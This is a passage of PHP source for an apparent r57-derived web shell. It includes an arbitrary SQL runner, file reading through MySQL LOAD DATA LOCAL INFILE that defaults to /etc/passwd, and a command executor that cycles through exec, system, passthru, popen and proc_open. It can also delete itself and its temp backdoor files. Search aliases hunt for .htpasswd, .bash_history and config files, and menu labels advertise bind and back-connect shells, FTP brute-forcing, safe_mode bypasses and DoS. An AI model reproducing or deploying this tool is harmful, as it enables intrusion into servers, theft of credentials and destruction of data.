  847. if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  848. if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
  849.  {
  850.  echo $head;
  851.  $sql = new my_sql();
  852.  $sql->db   = $_POST['db'];
  853.  $sql->host = $_POST['db_server'];
  854.  $sql->port = $_POST['db_port'];
  855.  $sql->user = $_POST['mysql_l'];
  856.  $sql->pass = $_POST['mysql_p'];
  857.  $sql->base = $_POST['mysql_db'];
  858.  $querys = @explode(';',$_POST['db_query']);
  859.  echo '<body bgcolor=Black>';
  860.  if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=White><b>Can't connect to SQL server</b></font></div>";
  861.   else
  862.    {
  863.    if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=White><b>Can't select database</b></font></div>";
  864.    else
  865.     {
  866.     foreach($querys as $num=>$query)
  867.      {
  868.       if(strlen($query)>5)
  869.       {
  870.       echo "<font face=Verdana size=-2 color=White><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
  871.       switch($sql->query($query))
  872.        {
  873.        case '0':
  874.        echo "<table width=100%><tr><td class=main><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
  875.        break;
  876.        case '1':
  877.        if($sql->get_result())
  878.         {
  879.         echo "<table width=100% border=0 cellpadding=0 cellspacing=0>";
  880.         foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
  881.         $keys = @implode("&nbsp;</b></font></td><td class=main><font face=Verdana size=-2><b>&nbsp;", $sql->columns);
  882.         echo "<tr><td class=main bgcolor=White><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  883.         for($i=0;$i<$sql->num_rows;$i++)
  884.          {
  885.          foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
  886.          $values = @implode("&nbsp;</font></td><td class=main><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]);
  887.          echo '<tr><td class=main><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
  888.          }
  889.         echo "</table>";
  890.         }
  891.        break;
  892.        case '2':
  893.        $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
  894.        echo "<table width=100%><tr><td class=main><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
  895.        break;
  896.        }
  897.       }
  898.      }
  899.     }
  900.     echo "<br><div align=left id='n'><table width=100% height=60 border=0 cellpadding=0 cellspacing=0>";
  901.     echo "<tr><td align=center><b>Show Database</b></td><td align=center><b>Show Tables</b></td></tr>";
  902.     echo "<tr><td><textarea cols=50 rows=6 name=query_db>";
  903.     $query_db = mysql_query("SHOW DATABASES;");
  904.     while ($query_db_row = mysql_fetch_array($query_db))
  905.     {
  906.         echo $query_db_row[0]."\n";
  907.     }
  908.     echo "</textarea></td><td><div align=right><textarea cols=60 rows=6 name=query_tables>";
  909.     if (($_POST['mysql_db']) && $sql->select_db())
  910.     {
  911.      $query_tables = mysql_query("SHOW TABLES;");
  912.      while ($query_tables_row = mysql_fetch_array($query_tables))
  913.      {
  914.         echo $query_tables_row[0]."\n";
  915.      }
  916.     }
  917.     echo "</textarea></div></td></tr></table></div>";
  918.    }
  919.  echo "<br><form name=form method=POST>";
  920.  echo in('hidden','db',0,$_POST['db']);
  921.  echo in('hidden','db_server',0,$_POST['db_server']);
  922.  echo in('hidden','db_port',0,$_POST['db_port']);
  923.  echo in('hidden','mysql_l',0,$_POST['mysql_l']);
  924.  echo in('hidden','mysql_p',0,$_POST['mysql_p']);
  925.  echo in('hidden','mysql_db',0,$_POST['mysql_db']);
  926.  echo in('hidden','cmd',0,'db_query');
  927.  echo "<div align=center>";
  928.  echo "<font face=Verdana size=-2><b>Use database: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
  929.  echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
  930.  echo "<div align=center><font face=Verdana size=-2><b>Load file: </b><input type=text name=loadfile size=100 value=".(!empty($_POST['loadfile'])?($_POST['loadfile']):("/etc/passwd")).">".ws(2)."<input type=submit name=submit value=\" Load \"><br /><br />";
  931.  echo "<b>File content</b><br><br>";
  932.  echo "<textarea cols=121 rows=15 name=showloadfile>";
  933.  @mysql_query("DROP TABLE IF EXISTS Alucar");
  934.  @mysql_query("CREATE TABLE `Alucar` ( `file` LONGBLOB NOT NULL )");
  935.  @mysql_query("LOAD DATA LOCAL INFILE \"".str_replace('\\','/',$_POST['loadfile'])."\" INTO TABLE Alucar FIELDS TERMINATED BY '' ESCAPED BY '' LINES TERMINATED BY '\n'");
  936.  $r = @mysql_query("SELECT * FROM Alucar");
  937.  while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
  938.  @mysql_query("DROP TABLE IF EXISTS Alucar");
  939.  echo "</textarea></div>";
  940.  echo "</form>";
  941.  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  942.  }
  943. if(isset($_GET['delete']))
  944.  {
  945.    @unlink(__FILE__);
  946.  }
  947. if(isset($_GET['tmp']))
  948.  {
  949.    @unlink("/tmp/bdpl");
  950.    @unlink("/tmp/back");
  951.    @unlink("/tmp/bd");
  952.    @unlink("/tmp/bd.c");
  953.    @unlink("/tmp/dp");
  954.    @unlink("/tmp/dpc");
  955.    @unlink("/tmp/dpc.c");
  956.  }
  957. if(isset($_GET['phpini']))
  958. {
  959. echo $head;
  960. function U_value($value)
  961.  {
  962.  if ($value == '') return '<i>no value</i>';
  963.  if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  964.  if ($value === null) return 'NULL';
  965.  if (@is_object($value)) $value = (array) $value;
  966.  if (@is_array($value))
  967.  {
  968.  @ob_start();
  969.  print_r($value);
  970.  $value = @ob_get_contents();
  971.  @ob_end_clean();
  972.  }
  973.  return U_wordwrap((string) $value);
  974.  }
  975. function U_wordwrap($str)
  976.  {
  977.  $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  978.  return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  979.  }
  980. if (@function_exists('ini_get_all'))
  981.  {
  982.  $r = '';
  983.  echo '<table width=100%>', '<tr><td class=main bgcolor=#83c809><font face=Verdana size=-2 color=White><div align=center><b>Directive</b></div></font></td><td class=main bgcolor=#83c809><font face=Verdana size=-2 color=White><div align=center><b>Local Value</b></div></font></td><td class=main bgcolor=#83c809><font face=Verdana size=-2 color=White><div align=center><b>Master Value</b></div></font></td></tr>';
  984.  foreach (@ini_get_all() as $key=>$value)
  985.   {
  986.   $r .= '<tr><td class=main>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td class=main><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td class=main><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  987.   }
  988.  echo $r;
  989.  echo '</table>';
  990.  }
  991. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  992. die();
  993. }
  994. if(isset($_GET['cpu']))
  995.  {
  996.    echo $head;
  997.    echo '<table width=100%><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2 color=White><b>CPU</b></font></div></td></tr></table><table width=100%>';
  998.    $cpuf = @file("cpuinfo");
  999.    if($cpuf)
  1000.     {
  1001.       $c = @sizeof($cpuf);
  1002.       for($i=0;$i<$c;$i++)
  1003.         {
  1004.           $info = @explode(":",$cpuf[$i]);
  1005.           if($info[1]==""){ $info[1]="---"; }
  1006.           $r .= '<tr><td class=main>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td class=main><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  1007.         }
  1008.       echo $r;
  1009.     }
  1010.    else
  1011.     {
  1012.       echo '<tr><td class=main>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  1013.     }
  1014.    echo '</table>';
  1015.    echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  1016.    die();
  1017.  }
  1018. if(isset($_GET['mem']))
  1019.  {
  1020.    echo $head;
  1021.    echo '<table width=100%><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2 color=White><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
  1022.    $memf = @file("meminfo");
  1023.    if($memf)
  1024.     {
  1025.       $c = sizeof($memf);
  1026.       for($i=0;$i<$c;$i++)
  1027.         {
  1028.           $info = explode(":",$memf[$i]);
  1029.           if($info[1]==""){ $info[1]="---"; }
  1030.           $r .= '<tr><td class=main>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td class=main><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  1031.         }
  1032.       echo $r;
  1033.     }
  1034.    else
  1035.     {
  1036.       echo '<tr><td class=main>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  1037.     }
  1038.    echo '</table>';
  1039.    echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  1040.    die();
  1041.  }
  1042. $lang=array(
  1043. /* --------------------------------------------------------------- */
  1044. 'eng_text1' =>'Executed command',
  1045. 'eng_text2' =>'Execute command on server',
  1046. 'eng_text3' =>'Run command',
  1047. 'eng_text4' =>'Work directory',
  1048. 'eng_text5' =>'Upload files on server',
  1049. 'eng_text6' =>'Local file',
  1050. 'eng_text7' =>'Aliases',
  1051. 'eng_text8' =>'Select alias',
  1052. 'eng_butt1' =>'Execute',
  1053. 'eng_butt2' =>'Upload',
  1054. 'eng_text9' =>'Bind port to /bin/bash',
  1055. 'eng_text10'=>'Port',
  1056. 'eng_text11'=>'Password for access',
  1057. 'eng_butt3' =>'Bind',
  1058. 'eng_text12'=>'back-connect',
  1059. 'eng_text13'=>'IP',
  1060. 'eng_text14'=>'Port',
  1061. 'eng_butt4' =>'Connect',
  1062. 'eng_text15'=>'Upload files from remote server',
  1063. 'eng_text16'=>'With',
  1064. 'eng_text17'=>'Remote file',
  1065. 'eng_text18'=>'Local file',
  1066. 'eng_text19'=>'Exploits',
  1067. 'eng_text20'=>'Use',
  1068. 'eng_text21'=>'&nbsp;New name',
  1069. 'eng_text22'=>'datapipe',
  1070. 'eng_text23'=>'Local port',
  1071. 'eng_text24'=>'Remote host',
  1072. 'eng_text25'=>'Remote port',
  1073. 'eng_text26'=>'Use',
  1074. 'eng_butt5' =>'Run',
  1075. 'eng_text28'=>'Work in safe_mode',
  1076. 'eng_text29'=>'ACCESS DENIED',
  1077. 'eng_butt6' =>'Change',
  1078. 'eng_text30'=>'Cat file',
  1079. 'eng_butt7' =>'Show',
  1080. 'eng_text31'=>'File not found',
  1081. 'eng_text32'=>'Eval PHP code',
  1082. 'eng_text33'=>'Test bypass open_basedir with cURL functions',
  1083. 'eng_butt8' =>'Test',
  1084. 'eng_text34'=>'Test bypass safe_mode with include function',
  1085. 'eng_text35'=>'Test bypass with load file in mysql - edited by Alucar',
  1086. 'eng_text36'=>'Db . Table',
  1087. 'eng_text37'=>'Login',
  1088. 'eng_text38'=>'Password',
  1089. 'eng_text39'=>'Database',
  1090. 'eng_text40'=>'Dump database table',
  1091. 'eng_butt9' =>'Dump',
  1092. 'eng_text41'=>'Save dump in file',
  1093. 'eng_text42'=>'Edit files',
  1094. 'eng_text43'=>'File for edit',
  1095. 'eng_butt10'=>'Save',
  1096. 'eng_text44'=>'Can\'t edit file! Only read access!',
  1097. 'eng_text45'=>'File saved',
  1098. 'eng_text46'=>'Show phpinfo()',
  1099. 'eng_text47'=>'Show variables from php.ini',
  1100. 'eng_text48'=>'Delete temp files',
  1101. 'eng_butt11'=>'Edit file',
  1102. 'eng_text49'=>'Delete script from server',
  1103. 'eng_text50'=>'View cpu info',
  1104. 'eng_text51'=>'View memory info',
  1105. 'eng_text52'=>'Find text',
  1106. 'eng_text53'=>'In dirs',
  1107. 'eng_text54'=>'Find text in files',
  1108. 'eng_butt12'=>'Find',
  1109. 'eng_text55'=>'Only in files',
  1110. 'eng_text56'=>'Nothing :(',
  1111. 'eng_text57'=>'Create/Delete File/Dir',
  1112. 'eng_text58'=>'name',
  1113. 'eng_text59'=>'file',
  1114. 'eng_text60'=>'dir',
  1115. 'eng_butt13'=>'Create/Delete',
  1116. 'eng_text61'=>'File created',
  1117. 'eng_text62'=>'Dir created',
  1118. 'eng_text63'=>'File deleted',
  1119. 'eng_text64'=>'Dir deleted',
  1120. 'eng_text65'=>'Create',
  1121. 'eng_text66'=>'Delete',
  1122. 'eng_text67'=>'Chown/Chgrp/Chmod',
  1123. 'eng_text68'=>'Command',
  1124. 'eng_text69'=>'param1',
  1125. 'eng_text70'=>'param2',
  1126. 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
  1127. 'eng_text72'=>'Text for find',
  1128. 'eng_text73'=>'Find in folder',
  1129. 'eng_text74'=>'Find in files',
  1130. 'eng_text75'=>'* you can use regexp',
  1131. 'eng_text76'=>'Search text in files via find',
  1132. 'eng_text80'=>'Type',
  1133. 'eng_text81'=>'Net',
  1134. 'eng_text82'=>'Databases',
  1135. 'eng_text83'=>'Run SQL query',
  1136. 'eng_text84'=>'SQL query',
  1137. 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
  1138. 'eng_text86'=>'Download files from server',
  1139. 'eng_butt14'=>'Download',
  1140. 'eng_text87'=>'Download files from remote ftp-server',
  1141. 'eng_text88'=>'FTP-server:port',
  1142. 'eng_text89'=>'File on ftp',
  1143. 'eng_text90'=>'Transfer mode',
  1144. 'eng_text91'=>'Archivation',
  1145. 'eng_text92'=>'without archivation',
  1146. 'eng_text93'=>'FTP',
  1147. 'eng_text94'=>'FTP-bruteforce',
  1148. 'eng_text95'=>'Users list',
  1149. 'eng_text96'=>'Can\'t get users list',
  1150. 'eng_text97'=>'checked: ',
  1151. 'eng_text98'=>'success: ',
  1152. 'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
  1153. 'eng_text100'=>'Send file to remote ftp server',
  1154. 'eng_text101'=>'Use reverse (user -> resu) login for password',
  1155. 'eng_text102'=>'Mail',
  1156. 'eng_text103'=>'Send email',
  1157. 'eng_text104'=>'Send file to email',
  1158. 'eng_text105'=>'To',
  1159. 'eng_text106'=>'From',
  1160. 'eng_text107'=>'Subj',
  1161. 'eng_butt15'=>'Send',
  1162. 'eng_text108'=>'Mail',
  1163. 'eng_text109'=>'Hide',
  1164. 'eng_text110'=>'Show',
  1165. 'eng_text111'=>'SQL-Server : Port',
  1166. 'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',
  1167. 'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',
  1168. 'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',
  1169. 'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
  1170. 'eng_text116'=>'Copy from',
  1171. 'eng_text117'=>'to',
  1172. 'eng_text118'=>'File copied',
  1173. 'eng_text119'=>'Cant copy file',
  1174. 'eng_text120'=>'SQL-Server',
  1175. 'eng_text121'=>'Bypass php 5.2.6',
  1176. 'eng_text122'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
  1177. 'eng_text123'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)',
  1178. 'eng_text124'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
  1179. 'eng_text125'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
  1180. 'eng_text126'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
  1181. 'eng_text127'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0) ',
  1182. 'eng_text128'=>'Data',
  1183. 'eng_text129'=>'Dictionary',
  1184. 'eng_text130'=>'DoS',
  1185. 'eng_text131'=>'Danger! Web-daemon crash possible.',
  1186. 'eng_err0'=>'Error! Can\'t write in file ',
  1187. 'eng_err1'=>'Error! Can\'t read file ',
  1188. 'eng_err2'=>'Error! Can\'t create ',
  1189. 'eng_err3'=>'Error! Can\'t connect to ftp',
  1190. 'eng_err4'=>'Error! Can\'t login on ftp server',
  1191. 'eng_err5'=>'Error! Can\'t change dir on ftp',
  1192. 'eng_err6'=>'Error! Can\'t sent mail',
  1193. 'eng_err7'=>'Mail send',
  1194. 'eng_text200'=>'read file from vul copy()',
  1195. 'eng_text202'=>'where file in server',
  1196. 'eng_text300'=>'read file from vul curl()',
  1197. 'eng_text203'=>'read file from vul ini_restore()',
  1198. 'eng_text204'=>'write shell from vul error_log()',
  1199. 'eng_text205'=>'write shell in this side',
  1200. 'eng_text206'=>'read dir',
  1201. 'eng_text207'=>'read dir from vul reg_glob',
  1202. 'eng_text208'=>'execute with function',
  1203. 'eng_text209'=>'read dir from vul root',
  1204. 'eng_text210'=>'DeZender ',
  1205. 'eng_text211'=>'::safe_mode off::',
  1206. 'eng_text212'=>'Close safe_mode with php.ini',
  1207. 'eng_text213'=>'Close security_mod with .htaccess',
  1208. 'eng_text214'=>'Admin name',
  1209. 'eng_text215'=>'IRC server ',
  1210. 'eng_text216'=>'#room name',
  1211. 'eng_text217'=>'server',
  1212. 'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul',
  1213. 'eng_text219'=>'Get file to server in safe_mode and change name',
  1214. 'eng_text220'=>'show file with symlink vul',
  1215. 'eng_text221'=>'zip file in server to download',
  1216. 'eng_text222'=>'2 symlink use vul',
  1217. 'eng_text223'=>'read file from funcution',
  1218. 'eng_text224'=>'read file from PLUGIN',
  1219. 'eng_text225' => 'htaccess safemode and open_basedir bypass',
  1220. 'eng_text226' => 'Write to file',
  1221. 'eng_text227' => 'Content',
  1222. 'eng_text228' => 'SSI safe_mode bypass',
  1223. 'eng_text229' => 'COM functions safe_mode and disable_function bypass',
  1224. 'eng_text230' => 'ionCube extension safe_mode bypass',
  1225. 'eng_text231' => 'win32std extension safe_mode bypass',
  1226. 'eng_text232' => 'win32service extension safe_mode bypass',
  1227. 'eng_text233' => 'perl extension safe_mode bypass',
  1228. 'eng_text234' => 'FFI extension safe_mode bypass',
  1229. 'eng_text137'=>'Useful',
  1230. 'eng_text138'=>'Dangerous',
  1231. 'eng_text142'=>'Downloaders',
  1232. 'eng_butt65'=>'Write',
  1233. );
  1234. /*
  1235. ?????? ??????
  1236. ????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
  1237. ?? ?????? ???? ????????? ??? ???????? ???????.
  1238. */
  1239. $aliases=array(
  1240. 'find suid files'=>'find / -type f -perm -04000 -ls',
  1241. 'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
  1242. 'find sgid files'=>'find / -type f -perm -02000 -ls',
  1243. 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
  1244. 'find config.inc.php files'=>'find / -type f -name config.inc.php',
  1245. 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
  1246. 'find config* files'=>'find / -type f -name "config*"',
  1247. 'find config* files in current dir'=>'find . -type f -name "config*"',
  1248. 'find all writable files'=>'find / -type f -perm -2 -ls',
  1249. 'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
  1250. 'find all writable directories'=>'find /  -type d -perm -2 -ls',
  1251. 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
  1252. 'find all writable directories and files'=>'find / -perm -2 -ls',
  1253. 'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
  1254. 'find all service.pwd files'=>'find / -type f -name service.pwd',
  1255. 'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
  1256. 'find all .htpasswd files'=>'find / -type f -name .htpasswd',
  1257. 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
  1258. 'find all .bash_history files'=>'find / -type f -name .bash_history',
  1259. 'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
  1260. 'find all .mysql_history files'=>'find / -type f -name .mysql_history',
  1261. 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
  1262. 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
  1263. 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
  1264. 'list file attributes on a Linux second extended file system'=>'lsattr -va',
  1265. 'show opened ports'=>'netstat -an | grep -i listen',
  1266. '----------------------------------------------------------------------------------------------------'=>'ls -la'
  1267. );
  1268. $table_up1  = "<tr><td class=main bgcolor=Black
  1269. ><font face=Verdana size=-2><b><div class=tt align=center>:: ";
  1270. $table_up2  = " ::</div></b></font></td></tr><tr><td class=main>";
  1271. $table_up3  = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=Black><tr><td class=main>";
  1272. $table_end1 = "</td></tr>";
  1273. $arrow = " <font face=Webdings color=White>4</font>";
  1274. $lb = "<font color=White>[</font>";
  1275. $rb = "<font color=White>]</font>";
  1276. $font = "<font face=Verdana size=-2>";
  1277. $ts = "<table class=table1 width=100% align=center>";
  1278. $te = "</table>";
  1279. $fs = "<form name=form method=POST>";
  1280. $fe = "</form>";
  1281.  
  1282. if(isset($_GET['users']))
  1283.  {
  1284.  if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=White>".$lang[$language.'_text96']."</font></center>"; }
  1285.  else
  1286.   {
  1287.   echo '<center>';
  1288.   foreach($users as $user) { echo $user."<br>"; }
  1289.   echo '</center>';
  1290.   }
  1291.  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  1292.  }
  1293.  
  1294. if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
  1295. $dir = @getcwd();
  1296. $unix = 0;
  1297. if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
  1298. if(empty($dir))
  1299.  {
  1300.  $os = getenv('OS');
  1301.  if(empty($os)){ $os = php_uname(); }
  1302.  if(empty($os)){ $os ="-"; $unix=1; }
  1303.  else
  1304.     {
  1305.     if(@eregi("^win",$os)) { $unix = 0; }
  1306.     else { $unix = 1; }
  1307.     }
  1308.  }
  1309. if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  1310.   {
  1311.     echo $head;
  1312.     if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
  1313.     else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
  1314.     $sr->SearchText(0,0);
  1315.     $res = $sr->GetResultFiles();
  1316.     $found = $sr->GetMatchesCount();
  1317.     $titles = $sr->GetTitles();
  1318.     $r = "";
  1319.     if($found > 0)
  1320.     {
  1321.       $r .= "<TABLE width=100%>";
  1322.       foreach($res as $file=>$v)
  1323.       {
  1324.         $r .= "<TR>";
  1325.         $r .= "<TD class=main colspan=2><font face=Verdana size=-2><b>".ws(3);
  1326.         $r .= (!$unix)? str_replace("/","\\",$file) : $file;
  1327.         $r .= "</b></font></ TD>";
  1328.         $r .= "</TR>";
  1329.         foreach($v as $a=>$b)
  1330.         {
  1331.           $r .= "<TR>";
  1332.           $r .= "<TD class=main align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
  1333.           $r .= "<TD class=main><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
  1334.           $r .= "</TR>\n";
  1335.         }
  1336.       }
  1337.       $r .= "</TABLE>";
  1338.     echo $r;
  1339.     }
  1340.     else
  1341.     {
  1342.       echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
  1343.     }
  1344.   echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  1345.   die();
  1346.   }
  1347. if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
  1348. $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
  1349. if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
  1350. function ws($i)
  1351. {
  1352. return @str_repeat("&nbsp;",$i);
  1353. }
  1354. function ex($cfe)
  1355. {
  1356.  $res = '';
  1357.  if (!empty($cfe))
  1358.  {
  1359.   if(function_exists('exec'))
  1360.    {
  1361.     @exec($cfe,$res);
  1362.     $res = join("\n",$res);
  1363.    }
  1364.   elseif(function_exists('shell_exec'))
  1365.    {
  1366.     $res = @shell_exec($cfe);
  1367.    }
  1368.   elseif(function_exists('system'))
  1369.    {
  1370.     @ob_start();
  1371.     @system($cfe);
  1372.     $res = @ob_get_contents();
  1373.     @ob_end_clean();
  1374.    }
  1375.   elseif(function_exists('passthru'))
  1376.    {
  1377.     @ob_start();
  1378.     @passthru($cfe);
  1379.     $res = @ob_get_contents();
  1380.     @ob_end_clean();
  1381.    }
  1382.   elseif(@is_resource($f = @popen($cfe,"r")))
  1383.   {
  1384.    $res = "";
  1385.    while(!@feof($f)) { $res .= @fread($f,1024); }
  1386.    @pclose($f);
  1387.   }
  1388.   elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
  1389.     {
  1390.      $res = "";
  1391.      if(@function_exists('fread') && @function_exists('feof')){
  1392.       while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
  1393.      }else if(@function_exists('fgets') && @function_exists('feof')){
  1394.       while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
  1395.      }
  1396.      @proc_close($f);
  1397.     }
  1398.    }
  1399.  return htmlspecialchars($res);
  1400. }
  1401. function get_users()
  1402. {
  1403.   $users = $rows = array();
  1404.     $rows=@explode("\n",moreread($filename));
  1405.     if(!$rows[0]){$rows=@explode("\n",readzlib($filename));}
  1406.     if(!$rows[0]) return 0;
  1407.     foreach ($rows as $string)
  1408.      {
  1409.      $user = @explode(":",trim($string));
  1410.      if(substr($string,0,1)!='#') array_push($users,$user[0]);
  1411.      }
  1412.   return $users;
  1413. }
  1414. function err($n,$txt='')
  1415. {
  1416. echo '<table width=100% cellpadding=0 cellspacing=0><tr><td class=main bgcolor=Black><font color=Red face=Verdana size=-2><div align=center><b>';
  1417. echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
  1418. if(!empty($txt)) { echo " $txt"; }
  1419. echo '</b></div></font></td></tr></table>';
  1420. return null;
  1421. }
  1422. function perms($mode)
  1423. {
  1424. if (!$GLOBALS['unix']) return 0;
  1425. if( $mode & 0x1000 ) { $type='p'; }
  1426. else if( $mode & 0x2000 ) { $type='c'; }
  1427. else if( $mode & 0x4000 ) { $type='d'; }
  1428. else if( $mode & 0x6000 ) { $type='b'; }
  1429. else if( $mode & 0x8000 ) { $type='-'; }
  1430. else if( $mode & 0xA000 ) { $type='l'; }
  1431. else if( $mode & 0xC000 ) { $type='s'; }
  1432. else $type='u';
  1433. $owner["read"] = ($mode & 00400) ? 'r' : '-';
  1434. $owner["write"] = ($mode & 00200) ? 'w' : '-';
  1435. $owner["execute"] = ($mode & 00100) ? 'x' : '-';
  1436. $group["read"] = ($mode & 00040) ? 'r' : '-';
  1437. $group["write"] = ($mode & 00020) ? 'w' : '-';
  1438. $group["execute"] = ($mode & 00010) ? 'x' : '-';
  1439. $world["read"] = ($mode & 00004) ? 'r' : '-';
  1440. $world["write"] = ($mode & 00002) ? 'w' : '-';
  1441. $world["execute"] = ($mode & 00001) ? 'x' : '-';
  1442. if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
  1443. if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
  1444. if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
  1445. $s=sprintf("%1s", $type);
  1446. $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
  1447. $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
  1448. $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
  1449. return trim($s);
  1450. }
  1451. function which($pr)
  1452. {
  1453. $path = '';
  1454. $path = ex("which $pr");
  1455. if(!empty($path)) { return $path; } else { return false; }
  1456. }
  1457. function in($type,$name,$size,$value,$checked=0)
  1458. {
  1459.  $ret = "<input type=".$type." name=".$name." ";
  1460.  if($size != 0) { $ret .= "size=".$size." "; }
  1461.  $ret .= "value=\"".$value."\"";
  1462.  if($checked) $ret .= " checked";
  1463.  return $ret.">";
  1464. }
  1465. function cf($fname,$text)
  1466. {
  1467.  $w_file=@fopen($fname,"w") or err(0);
  1468.  if($w_file)
  1469.  {
  1470.  @fputs($w_file,@base64_decode($text));
  1471.  @fclose($w_file);
  1472.  }
  1473. }
  1474. function ps($pr)
  1475. {global $unix;
  1476. $path = '';
